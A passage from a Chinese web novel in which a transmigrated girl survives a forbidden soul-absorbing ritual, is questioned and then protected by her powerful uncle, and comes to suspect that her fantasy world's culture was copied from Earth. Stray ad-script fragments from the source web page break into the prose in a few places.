恩……可是主还拿她当祭品呢,所以不要!中国人不管去了哪都只信中国神!只信共产党!在镰刀和锤子面前一切牛鬼蛇神将不复存在! 给自己暗暗打了一剂强心针的林瑶顿时觉得勇气翻倍,昂首挺胸,走路都开始带风,嚣张放肆得连怀里的小伙伴都快看不下去了,抬起一边翅膀遮住脸试图表明跟对方不熟想要划清界限。 唉,祂咋会遇上这么一个傻妞?能不能退货啊? 再步行数十步,豁然开朗,映入眼帘的是一处披盖薄薄雾纱的翠绿山谷,在繁星闪烁的美丽夜空下,无数的萤火虫穿梭于石缝花草间点起闪耀的星光,宁静柔美,远远望之便令烦躁的心慢慢平和下来。 从未离开过城市的林瑶站在高高的悬崖上俯瞰,像是被大自然的壮丽风景给深深震撼到了,久久不能回神。 但想起待会自己要做的事情,她还是缓缓地吐出一口长气,收敛情绪半蹲着从塑料袋里拿出香烟纸钱摆好点火,按照家乡清明节祭拜祖先的那一套认认真真地做完全程。 “林家女林瑶,为求自保想借诸位力量一用。”她跪在崎岖不平的地面上,手持三柱清香俯身拜了拜,火盆内纸钱燃烧的橙黄色火焰照亮了少女平稳坚定的神情,“烦请诸位帮我。” 她弯腰再拜,轻声开口,承诺的语气显得格外沉重:“若借得力量,诸位将与林瑶同在,林瑶定会实现诸位生前最大的非恶心愿。” “林瑶在此对山川河流发誓。” “……”如水墨般漆黑的夜鸦收拢翅膀站在离火很远的树枝上,静静地注视这一切。 祂望着极其郑重地跪拜山间亡魂的少女,沉默得不发一言。 等盆内的纸币燃烧殆尽,林瑶把香烛插进炉子里后起身拍了拍黏住膝盖的泥土,确定都弄干净了才去找根折断的粗树枝,用脚扫开碎石,按照手机相册里保存的图案,握着树枝低头往地面画了个巨大繁复的法阵并填写咒文。 失败了两次才画完,少女扔掉手中用来画画的粗树枝,根据说明书的内容,将十指交叉置于腹上,以躺棺材的标准姿势躺在法阵中央,紧闭双眼,乍一看还真像一具刚死亡的尸体。 她闭着眼,嘴唇略微翕动,低声念起晦涩难懂的古老语言——中途还因为背错了几次不得不重头来过——心脏紧张得怦怦乱跳,仿佛下一秒就会从喉咙里蹦出,跳动的频率快得甚至一抽一抽地痛起来。 害怕吗?当然害怕了。 怕禁术是假的,自己抱着破釜沉舟的决心,结果却是竹篮打水一场空,宛若那镜中花水中月,无论再怎么伸手捞都是无济于事。 怕禁术是真的,那么多的人在使用之后不是疯就是死,倒霉的自己或许也会失败成为其中一员,意识被庞大的记忆量彻底碾碎取代,失去自我。 可是再害怕再恐惧她也要咬着牙努力去做,哭着去做,因为不做就会死,就吃不上老妈煮的那碗凉拌牛肉,就没法跟那群从小一起玩到大的“狐朋狗友”去吃海底捞,她存在美团和饿了么的商家优惠劵就全部浪费掉了。 ……所以我不能死。 大概是这股超乎寻常的深重执念死死拽住了那根线,才使林瑶在浩瀚如海的一段段人生中摇摇欲坠地勉强保持一点清醒。 属于亡者的生前记忆在脑中一幕幕闪过,深藏的情绪互相融合在精神上产生了共鸣,恍恍惚惚之间,林瑶错以为那是自己度过的另外一种人生,是自己的曾经,他们似乎变成了同一个人。 15岁的初中生特别讨厌父母强制安排的补课,却又不敢明面反抗,于是每次到周末就骗爸妈说是去补习,实则偷偷溜走找了在外面新认识的朋友一同进网吧打游戏。 某天东窗事发被妈妈当场抓住跟她在网吧大吵一架后摔门而出,他关掉手机拒绝所有来电,气闷地独自一人逛商场,却在偶然转头发现有个调皮小孩爬围栏差点掉下去时条件反射地冲过去想把对方拉回,结果没想到那栏杆年久未修竟然撑不住两个未成年的重量,他就这样一脚踏空…… 【其实在跟老妈吵完架后我立马就后悔了,本来也是我逃课的错,但就是低不下头向他们认错道歉,如果能回家的话,我想跟爸妈说一声“对不起”。】 【我死了,他们肯定很难过。】 常年被无良上司压榨的劳苦社畜每天就靠一杯咖啡续命,加不完的班,干不完的活,还有一堆傻逼同事整日叨叨,工资又少得可怜,交了房租后剩的钱堪堪养活自己,连喜欢的衣服包包化妆品都要放进购物车考虑考虑,只时不时点进去看一眼先解解馋,日子都过成这个鬼样了,偏偏父母还老是催她找男朋友赶紧结婚生小孩。 她一直忍一直忍,终于在狗屁老板想吃自己豆腐的时候脾气大爆发,猛地一巴掌甩过去又扯着他头顶那几根毛疯狂输出,从对方的领导能力喷到整个部门的办事效率,骂完以后心情爽了就丢下一句“姐不干了,谁爱干谁干”,把早已写好的辞职信扔前老板脸上潇洒离去。 本以为获得自由可以重新享受生活,却在快乐了没几天后因为遇到人贩子当街抢小孩,在与其他见义勇为的路人共同上前夺回孩子的途中倒霉地被持刀的人贩子一刀捅死,享年27岁。 【这种死法有啥不满意的?不仅拯救了一个家庭还能收获一面锦旗得警察叔叔表扬,全国人民都要夸我厉害,是位英雄呢!】 【唯一遗憾的是我当初臭骂傻逼前老板时没顺便拔光他那几条毛,还有爸妈……辛辛苦苦、好不容易才把我拉扯长大,我就这么简简单单地死了会有谁给他们养老送终呢?】 喜欢洋娃娃不喜欢机 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 甲的士兵常常背着长官偷摸上终端购买自家娃娃的新裙子,由于做得很隐蔽,大家都没发现他这个与众不同的小爱好,只当他喜欢购物,还笑他整天光拆快递都能拆到手软,士兵听了也不敢多嘴,就讪笑着挠挠后脑勺。 不过他在战场上表现得非常英勇,那点小爱好不会阻拦他为帝国奋战,最后为了保护一个平民孩子毫不犹豫地启动机甲的自爆程序和一支虫族小队同归于尽,牺牲时年仅22岁。 【没什么好后悔的,我加入军队并不是出于崇高的理想,像是驱赶外敌、重振帝国威风之类的东西从没想过,我仅仅是为了保护家人和朋友才选择参军,虫族一日不灭,我们就一日不得安生。】 【唔……要说唯一放不下的,就是我藏在衣柜里的娃娃了吧?她们可漂亮啦!倘若长官和战友帮忙收拾遗物时顺手将她们丢进垃圾桶,我会超级伤心的。】 【唉,好想再吃一次以前校门口的炸鸡柳啊。】 【***我日你祖宗十八代!要是能回去我第一个掰了你的**!】 【麻烦删掉我在所有网站的账号,清空内存。】 【我的实验数据,我刚刚创造的新法术!】 【师尊,徒儿不孝先您一步走了,请帮我转告小师妹,她喜欢的糖葫芦我没法买给她了,今后……恐怕只能麻烦您下山帮她买了。】 …… 昏昏沉沉,少女整个人就像陷进了粘稠的泥沼之中,轻柔的水流无声地覆盖了面容吞没鼻息,眼前模模糊糊,虚弱得连根手指都动不了,恐怖的水压快要挤碎她的身体。 奇异的是,每当她准备坚持不下去时,总会有股温暖的力量拂过自己的识海拿走身上的重压,得以让她从沉闷的窒息里挣脱出来喘一口气。 漂浮着漂浮着,不知在这片令人绝望的黑暗里穿梭了多长时间,当最终的一段记忆涌入大脑,在暖流的包裹与安抚中,林瑶彻底失去了意识。 *** 嘀嗒嘀嗒。 悬挂于墙上的钟表发出齿轮旋转的细微响声,短小的时针往前行走一格,玻璃窗外的无边夜幕星光依然闪烁。 在时针即将指向凌晨的那一刻,躺在床上的林瑶终于慢慢地睁开了眼睛。 “……” 她呆呆地望着头顶的天花板,反应迟钝,心神似乎还未从那些复杂的记忆里逃出来。 待回过神,林瑶又缓缓地眨了下眼睛,感受着自己因躺久僵硬的身体,艰难地移动目光扫视周围。 有人拉上了窗帘,月光被阻挡在外,屋内一片漆黑,宛如吞噬光线的黑洞,看不清家具的轮廓,无从分辨身在何处。 但她莫名有种直觉——这里是【林瑶】的房间。 “醒了?” 在少女谨慎观察四周环境的同时,卧室的角落也响起了让她倍感熟悉的低沉嗓音,紧接着又是一阵摩擦布料的窸窸窣窣的细响传来。 林瑶闻声望去,只见一道黑色修长的影子靠着墙壁,察觉到她的视线,对方挺直了往这边走来。 哒、哒、哒—— 硬底皮鞋踩在瓷砖上发出轻微的声响,脚步沉稳缓慢,每一步都精准地踩中了她心跳的鼓点。 最后男人走到床边,一抹月光透过窗帘的缝隙照在他脸上,揭露了来者的样貌。 “小瑶。”林溪晗站在少女的身旁,垂眸凝视她略显苍白的面色,温声呼唤,“我刚给你治疗,现在感觉还难受吗?” 她摇头,之前因为一下子接收太多信息而剧烈疼痛的脑袋经过对方的治疗后症状已经好转,遂沙哑着声音回答:“我没事了,谢谢你,舅舅。” “没事就好。”林溪晗稍微放松下来,深沉的眼眸倒映出女孩疲惫的神情,划过一丝晦暗,“可我有件事觉得很奇怪,想问问你。” “小瑶。”他再度呼唤,像是害怕会吓到她,语气放轻,“你不是说要跟朋友一起出去玩吗?” “那么,为何我会在那个地方找到你?” “是谁带你去的?”黑发青年低头看着她,半张脸藏进了阴影,月光也无法映照出他的眼,轻缓平和的语调中隐隐流露属于上位者不容违逆的强硬,令人捉摸不透,“以及……” 他微微地笑了笑。 “你体内的力量又是怎么一回事呢?” 11. 解决 “你体内的力量是怎么一回事?” 面对林溪晗的质询,躺在床上的林瑶没有第一时间回答。 刚刚才体验完别人的人生从庞大的信息量中醒过来,她脑袋还有些放空,眼神透出一股迷茫,反应稍显迟钝,整个人瞧着傻呆呆的,根本没听清对方在讲什么,愣愣地回了句“啊?”。 林溪晗:“……” ——该怎么说好呢,他居然毫不怀疑是对方能给出的答案。 收到不算意料之外的回应,黑发青年不仅没有像平常审犯错的下属那样进一步逼问,反而收起了过于强硬的气势发愁地叹气,重新变回那个非常好讲话的疼爱外甥女的温柔舅舅。 他无奈地重复:“我是问,小瑶你体内突然多出来的力量是谁的?” 唉,自己这外甥女傻乎乎的一点都不机灵,要是没他在旁边帮忙照顾可怎么办哟?迟早有一天会被外面的坏男人给骗得倾家荡产吧? 但没关系,林溪晗十分淡定地想,真有那一天,只需赶在他伤害小瑶前处理掉就行了。 不晓得自家舅舅在思考什么可怕事情的林瑶,原本空空如也的大脑总算重启成功,彻底摆脱那种晕乎乎的状态恢复清醒回归正常。 终于来了啊,对方的质疑。 她努力打起精神,在内心仔细斟酌语言。 其实林瑶早就知道会有这一遭,毕竟林溪晗是经教会主教认证的强者,加上今晚自己是被他从荒郊野外带回来的,肯定看见了地面的法阵和咒文,她并不认为自己偷学禁术这件事能瞒过对方,敷衍与撒谎只会增加他的怀疑,因此在她确认原主真的无法修炼后就想好了应付的方法,那就是—— 实话实说。 “……对不起,舅舅。”她沉默许久,先是扭过头将脸面向阳台不看对方,压低嗓音道歉,接着又安静一阵子,紧紧抿着嘴唇,垂下眼帘用心虚愧疚的语气轻声道,“我……我使用了禁术。” “但我保证绝对不会用这股力量干坏事。”林瑶挪蹭着身子转回来面对床边的人,满脸严肃地承诺,真心实意,“我会遵纪守法,会用他们的力量保护别人,若是舅舅你不相信的话,我可以对主发誓或者签契约,随便怎样都行。” “只是……请您不要告诉教会。”她声音渐渐低了下去,藏在被窝里的双手握紧成拳,无意识地吞咽口水,湿漉漉的眼眸小心翼翼地观察他,仿佛迷途的羔羊,眼里显露出一抹真实的不安。 少女面露恳切地哀声祈求:“拜托了,舅舅。” 虽然能告诉对方是使者帮助自己,是祂同意自己使用禁术,把一切都推给使者就万事大吉。 然而林瑶一方面不清楚使者那边究竟是何情况,不敢贸然行事,另一方面……她实在做不到陷害一个刚帮助过自己的人,况且这还是自己做出的决定,就更不可能让别人来背锅了。 她只能赌,赌林溪晗对外甥女的爱,赌他不忍心向裁判所举报,赌他……会帮自己掩盖。 林溪晗听完她的理由,果然沉默了。 “为什么?”他毫无得知少女犯罪后该有的惊怒,仅仅不能理解,皱着眉头询问原因,“你在担心受伤或是害怕谁伤害你?舅舅会保护你的,谁都无法越过我欺负你。” 她赌赢了。 可是内心却没有一点死里逃生的庆幸,反倒沉甸甸的,好像有块巨石重重压着身体的某个部位,快要压断脊梁,从舌根泛出的苦涩味苦得胃部不断绞痛,腐蚀的酸液倒灌着几乎将她溺毙在肮脏的呕吐物里。 林瑶再度抿嘴,像是躲进树洞的兔子试图寻求一丝微薄的安全感,整个人又往被窝里缩了缩,嘟哝着小小声回答:“因为……我也想变强保护您。” “我已经失去了母亲,不能再失去您了。”她的眼神逐渐黯淡,勾起嘴角想要露出一个笑,却又带着莫名的自嘲感,面部表情与话中内容的不同显得少女此刻有些割裂,“若想帮您就必须拥有力量,所以我不能再那么弱小,无论要付出何等代价。” 真是讽刺啊,这样的她,明明只想着自己却撒谎说是为了别人,不愿让一个可能对自己怀有不轨之心的陌生人背锅,却能为了生存而利用欺骗一位真心疼爱自己的家人,甚至毫不犹豫地吞噬无辜者的灵魂。 ……哈,像我这种虚伪自私的家伙、卑鄙无耻的混蛋,即便最后能够达成目的顺利回家,死了也一定会下十八层地狱的。 林瑶无声地笑了笑,脸上流露的神情越发嘲讽,满满的全是对自身的厌弃。 林溪晗看着如此谴责自己的外甥女,叹着气,心里不由得软了下来,伸手拍拍她的脑袋,在对方倏然怔愣的目光中无可奈何地说道:“好啦,又不是什么大不了的问题,不用担心会连累到我,更不用露出仿佛做了对不起我的坏事的自责表情。” “我说过遇见麻烦可以来找舅舅的吧?”他安抚似的再一次拍了拍女孩的头顶,“也是我的错,竟然没有注意到你情绪上的变化,让小瑶你这么不安。” “抱歉。” 闻言林瑶顿时惊讶地睁大眼睛,连那点对自我的憎恶都顾不上了,急急忙忙反驳:“怎么可能是舅舅你的错呢?犯错的是我,闯祸的是我,该道歉的是我,跟舅舅一点关系都没有!” “这和舅舅你能不能摆平无关。”她认真地解释,坚定的眼充满固执,“牵连就是牵连,因为舅舅你够强才能轻松解决,但换作其他普通人呢?他们也能处理吗?” “归根结底都是我的任性,是我的错。”林瑶掀开被子起身跪坐着直面对方,态度骤然变得强硬,盯着他一字一顿道,“因此将来要是东窗事发了,我会向裁判所的人认罪,请您装作毫不知情的样子,千万不要帮我说话。” “看在洛克主教的份上,我想裁判所是不会对无辜者动手搞连坐的。”如果、如果裁判所真就蛮不讲理的话……她也只能另外想办法了,将功赎罪也好做祭品也好,总之不能真的连累到舅舅! 少女头一回如此庆幸自己对造物主还有些许可利用的价值。 林溪晗倒是并不意外她会这么说的样子,显然非常了解自家外甥女的性格,便不再多谈,反而叹息着从空间戒指里取出一枚项链。 那是一枚雕刻成野蔷薇形状、镶嵌着碎钻的宝石项链,在莹白月光的照耀下折射出美丽耀眼的光辉。 “小瑶,拿着这个,不管发生什么都不能摘掉。”瞧着少女乖乖接过去好奇观察手中项链的模样,林溪晗难得认真地叮嘱几句,“它里面存有我的灵力,能够帮你遮掩体内的异常,只要不弄丢项链就不会有人察觉到你用过禁术的痕迹。” “有一种法术可以分享自己的力量,有人问起我会说对你使用了这种法术,洛克那边我也会帮你跟他解释清楚的,你不必担忧。”他又摸了摸女孩柔软的长发,温声继续,“小瑶你要记得不能说漏嘴哦。” 一听有办法解决,林瑶下意识地捏紧了保命的项链:“嗯,我会的。” 然而她很快抓住对方话里的某处漏洞,眨着眼,疑惑地反问:“洛克主教那边?” 为什么要替她解释清楚,难道…… 没等女孩想明白,眼前的黑发青年就若无其事地扔下了一枚“致命炮弹”。 “噢,其实昨天在你离开教堂之后,洛克因为担心你会做傻事,便联系我把一切都说啦。”林溪晗对忽然傻住的外甥女微微笑了一下,“所以——我昨天一直跟在你身后保护你呢,小瑶。” “……一直?”林瑶呆呆地重复。 “嗯,一直。”他含笑肯定,残忍地打碎了对方的希望,语气轻快地补充,“从使者带领你去图书馆开始至后面前往郊区进行仪式,我都一直注视着你。” 林瑶:“……” ——妈呀,这是什么中式恐怖故事?难怪她偷溜进密室的一路上啥陷阱机关警报器都没有,原来都被暗处的舅舅给搞定了。 等等,不对。 她突然反应过来,差点爆出一句粗口。 舅舅明明知道全部之前还故意装不知道在那质问她……是试探吗?假如自己没有选择实话实话而是选择撒谎敷衍就完蛋了?本来先前就有点怀疑了,这下不当场出殡? 处处是要命的坑啊! 刚与死亡擦肩而过的林瑶想通这一点立刻移开视线不与男人对视,以免暴露自身的异常,可后背却隐隐冒出了一层冷汗,脉搏狂跳。 她迅速安静,只默默听对方讲话。 “夜晚的森林相当危险,有许多可怕的魔兽外出觅食,若非我暗中驱赶它们,恐怕小瑶你刚走进去就会被袭击了。”没发现外甥女在害怕的林溪晗说到一半又忍不住叹气,为她的松懈和粗心大意,“幸好你身上有众多法器护身,遇袭也没事,顶多受点惊吓……最危险的是禁术。” 他的表情瞬间严肃起来:“如果不是我在旁边给你护法保住你的神智,小瑶你早就已经没命了,知道这件事的严重性吗?” “——禁术不是开玩笑的。” 林瑶连忙点头认错:“我知道啦,以后我绝对不会再干这种危险的事情了,舅舅你放心吧。” 她又不是小说里那些天生爱冒险总是到处作死还平安无事的主角,要不是真的没办法了不得不铤而走险,怎么可能会干那种白白丢命的事啊? 得到外甥女承诺的林溪晗稍微松了口气,他不怕小瑶闯祸给自己添麻烦,就怕她憋在心里不讲,万一出事了都赶不及救场,还好小瑶是个听话的乖孩子,他说过不能干的事就不会干。 定了定神,林溪晗忽然想起什么略微蹙眉,神情也变得凝重肃穆。 “还有一件事,为何使者会帮你呢?没理由呀。”像是遭遇了一道解不开的数学谜题,他抬手捂着嘴自言自语,凝神思考,无数的猜测在脑海中一一闪现又被一一否定,“……奇怪。” 林瑶见状不敢再出声扰乱对方的思绪。 她也很想知道原因,有大佬帮忙总比一个人瞎琢磨要好,更何况大佬还是熟悉教会及各种规则的本世界强者,比自己聪明多了,说不定真能找到线索呢! 林溪晗琢磨了一会没有头绪便暂时放下,结果一抬眼就瞅见外甥女正可怜巴巴地瞧着自己,似乎很期待他能给出答案,不禁失笑,伸手摸摸她脑袋,注视女孩的目光溢满柔和,讲话时也忍不住放缓了语气。 “好啦,这件事或许是冲我来的,你不用担心,我会去调查的,等有了进展我再告诉你。” “小瑶你没把使者的存在说出来是对的,今后若依旧受到使者帮助也不要四处宣扬。”他耐心解释,“虽然教会表面上掌控 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了整个世界,可实际上还有些不死心的敌人躲在暗处意图颠覆教宗大人的统治并反抗主,倘若暴露使者帮助信徒偷学禁术公然违反教规一事,会被敌人拿来做文章动摇教会统治的根基。” “届时你也会被裁判所归入敌人行列进行清除,由审判长亲自降下的惩罚,谁都救不了你。”林溪晗十分郑重地提醒道。 “好的。”林瑶乖巧答应(反正她也不打算说),却又止不住好奇,“那教会的敌人就只有异端吗?” “倒也不一定……”黑发青年本不想多谈,毕竟知道太多的人容易出事,但他看着自家外甥女那双清澈单纯的漂亮眼眸,想起对方即将转学的学校里存在的那几位麻烦人物,顿了顿便决定告诉她,免得连无意间踩坑都不知道。 “除开异端,还有皇室吧。”林溪晗简单提一句,让人知情就行,“总之你去学校碰见皇室成员离远点,千万别卷入皇室与教会的争斗。” 唔,神权和皇权自古以来的斗争啊…… 林瑶点点头表示理解,保证绝对不会卷入这场风波,省得哪天被卷死都不懂为啥,那就搞笑了。 “好啦,既然问题已经解决完毕就该睡觉了。”林溪晗拍拍女孩肩膀,柔声细语地让她躺回去,“待会还要早起收拾行李,我们后天出发赶去帝都,转学手续我都给你办好啦,再过几天你就能入学了。” “要跟同学们好好相处哦。”他笑了笑,“假如有人欺负你记得和舅舅说。” “我会处理掉的。” 林瑶:“……” ——救命!舅舅你要处理掉什么呀?!我的新同学吗?舅舅你要处理掉我的新同学吗?! 尽管槽点颇多,不过能有个强大的后盾还是特别令人安心的,至少林瑶因为转学而生出的忧虑飞速融化,乖乖掀开了被子躺进温暖的被窝跟对方道晚安。 “祝好梦,舅舅,回家的路上要小心哦。” “嗯。”林溪晗帮她掖了掖被角,微笑着抚摸她毛茸茸的小脑袋,“你也是,祝好梦,小瑶。” ***** 滴答滴答。 挂在墙上的钟表,指针再次行走往前一格,窗外漆黑的夜幕悠悠亮起微光,昭示主的苏醒。 林溪晗一动不动地守在外甥女的床边,直到陷入梦魇的女孩慢慢舒展眉眼重新安睡,他才收回了稳固灵魂的法术。 男人站起身,最后看一眼躺在床上熟睡的林瑶,转头离开。 将手搭在门把上往下一按,林溪晗单手插兜跨过那条无形的界限,直接一脚踏进了自己租赁的那个临时落脚点的客厅。 他随手关门,身后属于外甥女的卧室彻底消失,门外的空间重新变回了那条宽阔无人的长廊。 林溪晗一边抬手松了松领带一边走进厨房,打开冰箱拿出酸奶摆在柜台上,又弯腰找到玻璃杯,撕掉盒子的封口将酸奶缓缓倒进杯子。 咕咕。 象征和平的雪白信鸽扇动着翅膀停留在窗外,尖尖的鸟喙重重敲击窗户,从喉咙里发出的叫声不断催促屋里的人给它开窗。 林溪晗瞥了眼白鸽,没管它,自顾自地拿起水杯喝酸奶。 与面对外甥女时截然不同的冷淡态度,很好地昭显了何为三好舅舅的极致双标。 敲了半天窗户都没得到主人一句回应的白鸽气得又咕咕大叫两声,没办法,它只好张开翅膀飞走另寻窗户,胖胖软软的娇小身躯从某条细长的缝隙里强行挤了进来,悄悄落到青年的手边。 然后它就开始张合鸟喙,一道明显属于孩子的稚嫩软糯的童声在屋内悠然响起。 “首领。” 倘若林瑶现在位于此处,她一定能听出这道声音的主人是谁——舅舅的得力助手,曾在教堂有过一面之缘的罗丽娅女士。 “很抱歉,我没想到小瑶会是个普通人,送出的那本基础理论竟然能够引发这样的后果。”罗丽娅满含歉意地承认自己的错误,“我愿接受惩罚。” 林溪晗放下手中的水杯,淡淡地嗯了一声:“再过两个月是那群魔女的狂欢聚会,你走一趟吧,别让她们玩得太过火了。” “是。”罗丽娅答应下来,接着汇报,“最近异端又有新的动静,皇室也不太安分,据萨瓦调查,恐怕他们会联合起来……” “无妨,随便他们联合。”握着杯子的手,拇指摩挲着冰冷的杯壁,青年淡然道,“既然不愿珍惜教宗大人给的机会,那就没有活着的必要了。” “至于皇室,过段时间我会抽空去见皇帝一面。” “是。”女孩再度应声,但谈及某事,原本沉稳的语气不由迟疑,“不过首领,小瑶的问题就这么结束真的好吗?使者竟会亲自下场,那一位的想法……” “那位的想法不是我们能揣测的。”林溪晗平静地打断了下属,“记住你的身份,罗丽娅。” “我明白。”收到警告的罗丽娅立即噤声,不再谈论这个敏感的话题,“那您需要一份调查报告吗?或者我们给小瑶布置一些线索,无论如何,自己亲手查到的东西更能让自己安心吧。” “……”他低垂眼帘,没有如往常那般果断地下达命令,望着玻璃杯中模糊的倒影,面色冷漠。 沉静了片刻,男人才缓慢开口。 “不用。” 12. 新生 林瑶站在床边,双手叉腰,目光从床面堆满的衣物一路扫过书桌、抽屉、椅子上的包,最后停留于大门敞开的行李箱上。 “衣服围巾手套,教科书笔记本和习题册,身份证银行卡与手机……嗯,应该差不多齐了。”她来回清点要一起搬家的物品,确保无误才松一口气。 舅舅买的机票是明天中午12点那一班的,要提前两小时候机,因此今天必须整理完行李,若是留到明早才急匆匆地收拾东西容易有遗漏。 说到搭乘飞机……林瑶忽然沉默,从口袋里掏出手机点击屏幕打开旅游APP查看航班讯息,上面写着出发时间与抵达时间,下方还有酒店接送广告。 不觉得奇怪吗? 明明打个响指就能传送至千里之外,偏偏要循规蹈矩地坐够几小时飞机去往其它城市,即便法律规定不允许使用远距离传送魔法,可不是还有别的比飞机速度更快的交通工具吗?比如著名的筋斗云之类…… 然而它们却被限定在了市区里,像共享单车一样没办法驶出城,要想去外地只能选择传统的飞机轮船高铁火车和大巴,违反者将会受到制裁,在这方面上跟地球毫无区别。 这两周,林瑶通过书籍和网络搜集情报时有认真了解各地的人文地理及风俗习惯,发觉不仅是自己目前居住的贝克斯,包括埃尔兰帝国在内的全部国家都遵循着同一套运行规律。 她很难形容这种微妙异常的感觉,仿佛有人按照自己的认知给整个世界制定了大概框架,在某些不重要的细微之处你可以拥有一定的自主权,但绝对不能跳出框架自行打造特色,否则就是异端,将由教会矫正你的错误思想。 没有人觉得这是不对的。 数千年下来他们早已被框架固定住了思维,无法逃脱,无法挣扎,只能在蒙昧中度过一生。 他们甚至不存在历史这门学科! 她有拿自己的家乡和异世界作比较,随后发现这里的学校有语文、数学、政治、物理等课程,偏偏没有历史外语,全世界都在讲中文,都流行华夏文化,遵从华夏的习俗,无有例外。 ……除了教会。 不仅如此,她穿越第一天就发现的一处特别古怪诡异的地方,先前因为急着处理无法修炼的问题才没管,如今终于空闲下来深究之后……呵。 语文书上有古诗三百首,数学物理以及化学书上有各种公式和定律,当然,书的末尾标注了作者奠基者和发明者,并且还是自己以前天天在教科书里看到过的老熟人呢。 李白、杜甫、牛顿、钱学森、爱因斯坦…… 当她抱着疑虑上百度试图搜索他们的信息时,网站却跳出了空白页面,告诉你——查无此人,哪怕是神秘科技侧那边的学者,经查询得出的结论亦相同。 林瑶也试着在论坛、朋友圈、微博等地发帖子,假装好奇地询问大家:“为什么课本里的名人在百度上都查不到相关讯息?” 下面的回复基本都是:不知道、不关心、无所谓吧……更有狂热信徒公然宣称那些人都是主的化身,是主对我们的宠爱! …… 生活于此的人们习惯性地运用那些知识,将它当作自己日常的一部分,却不曾怀疑知识的来历,不曾查探消失的作者去哪里了,就这样平静且淡漠地接受源自其他世界的馈赠。 你敢相信吗? 他们所有的一切都是照搬别人的,再拼拼凑凑假装是自身独有的特产。 低劣的伪装,一眼就能拆穿的漏洞百出,技术不合格的裁缝漫不经心地用针线缝合成的怪物。 地球从原始部落走到现代化社会走了不知多少万年,期间曾有过无数天灾、国家陨落、种族灭绝、文明断层,历经诸多的磨难才终于形成如今那般相对和平稳定的局势。 可这个世界呢?没有生物进化,没有文字演变,更没有所谓的阶段发展,它从诞生的那一刻起就一直保持着她现在看见的那副模样,宛如一潭无法泛起涟漪的死水,不管投下多少颗石头也听不见一丝回响,空荡寂静得可怕。 少女伸出手,一本厚重的《圣典》顺着牵引力飞离木架轻轻落至掌心,正巧微风拂过,写满字迹的雪白书页一张一张地随风舞动,最终止步于众人对伟大造物主的歌颂。 [主驾着方舟自星海的另一端驶来,手握天秤与利剑结束了远古众神荒诞无垠的统治,结束了混乱无序的旧时代,化身智慧的果实、宇宙的规则,指引愚民走向自由。] 她低垂眼帘,视线定格于“自由”两个字上,然后放进嘴中仔细咀嚼着,品味出满满的嘲讽感。 单纯的穿越者根本不可能做到这么恐怖的事情,如果他真的做到了,那他还会是人类吗?若是再大胆猜测一下…… 做出这些事的,真的是穿越者吗? 而替造物主行走世间的代行者——那位教宗,又在其中扮演什么样的角色呢? 谜题太多,如同被猫当成玩具抓乱的毛线球,找不到头尾。 算了,目前就先努力提升实力,之后的事等之后遇上了再说吧,总有解决办法的。 林瑶啪地合上《圣典》,缓缓吐出一口长气,拿着书慢慢走到窗边,隔着透明的玻璃静静注视着矗立于城市中央的高楼大厦,看成群的夜鸦扇动着翅膀在半空盘旋,看人类与其他种族手拉着手互相打趣、欢声笑语,看神秘与科技和谐共处,并肩同行。 少女沉默不语。 虽然她不喜欢穿越,却也不得不承认—— 这是一个百花齐放的精彩绝伦的美丽世界,即使它被强制禁锢、深受束缚,是人为打造的牢笼。 “小瑶。”身后骤然响起熟悉的叫唤,林瑶闻声回头,这具身体的舅舅不知何时出现在房门边微笑着朝她招手。 “怎么了?舅舅。”少女听话地走过去,眨着那双水灵灵的大眼睛,面露困惑。 “没什么,就是想问问你收拾好行李了吗?”林溪晗忍不住抬手揉了揉可爱外甥女的脑袋,笑容亲切,语气温和,“收拾好我们吃完午饭就出发吧。” “……收拾是收拾好了,不过我们不是明天中午12点的飞机吗?”林瑶乖乖地任由长辈摸头,闻言脸上的表情越发迷惑。 “因为有笔紧急工单准备超期了,舅舅必须马上赶回去处理,没时间浪费在坐飞机上,所以等吃完饭我就要开传送门直接到帝都。”他简单解释两句后又露出愧疚的神情,“抱歉,这次太赶了。” “等到了帝都我给你买礼物吧。” “不用啦。”林瑶一听赶紧转身拉上行李箱的拉链先拖起来站好才摆摆手婉拒对方的谢礼,“舅舅的工作更要紧,不能耽误。” 她甚至反过来催促:“我已经好了,不用吃午饭也行,咱们走吧。” “放心啦舅舅,我能照顾好自己的!” “不着急,吃饭最重要。”林溪晗顿时无奈地轻轻拍了拍女孩头顶,随即想起什么又关心地询问,“差点忘记了……小瑶你身体有哪里不舒服的吗?” 她摇头:“没有。” 这句是实话,有力量与没力量的区别十分明显。 林瑶只觉得现在的自己体内有股充盈感,整个人好像沐浴在灿烂的阳光下全身都暖呼呼的,又好像被美味的食物填饱了肚子,完全不饿。 emmmm……她语文学得不行表达不太好,反正差不多是这种感觉,意会一下意会一下。 “没问题就好。”林溪晗虽松了口气,面上却仍显忧虑,不放心地再叮嘱,“如果有不舒服的地方一定要跟我说,知道了吗?” “嗯。”林瑶乖巧地点点头答应,“我会的。” 不过想了想她又举起手机:“既然舅舅你打算走传送门,那我取消明天的机票吧。”能省多少是多少。 话说回来,从贝克斯到帝都有三千多公里,舅舅居然能无视这个超长距离直接抵达……实力真强啊。 谁知林溪晗竟然拒绝了提议。 “不,继续留着机票。”注意到外甥女疑惑的眼神,他耐心解释,“按理来说确实不能随意使用法术,但只要你依照流程买票并骗过检票人员,直至最后谎言都没被揭穿的话就不要紧。” 他微笑:“毕竟规矩是死的,人是活的嘛。” 啊这。 林瑶瞬间呆住。 这就是所谓的没被抓住就不算犯罪? 回忆起当初在教堂做礼拜时,对方不仅迟到还与罗丽娅女士私建亚空间欺骗洛克主教的事…… 唉,老油条老油条,比不过比不过呀。 一向热爱学习的三好学生立即摆出最认真严肃的态度,虚心求教:“请问具体该怎么操作呢? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “听说过撒豆成兵吗?跟那类法术相似。” 林溪晗扫视一圈周围走向书桌,获得林瑶的同意才拿起笔记本撕掉空白的两页纸,再慢条斯理地把纸折成两个小人随手一抛扔到地上,也没见他念什么咒语,落地的纸人顷刻间变成了真人。 白纸化作的人一动不动,漆黑的瞳孔,苍白的肤色,身体僵硬如木偶,撇开与他们完全一致的样貌外压根骗不了任何正常员工。 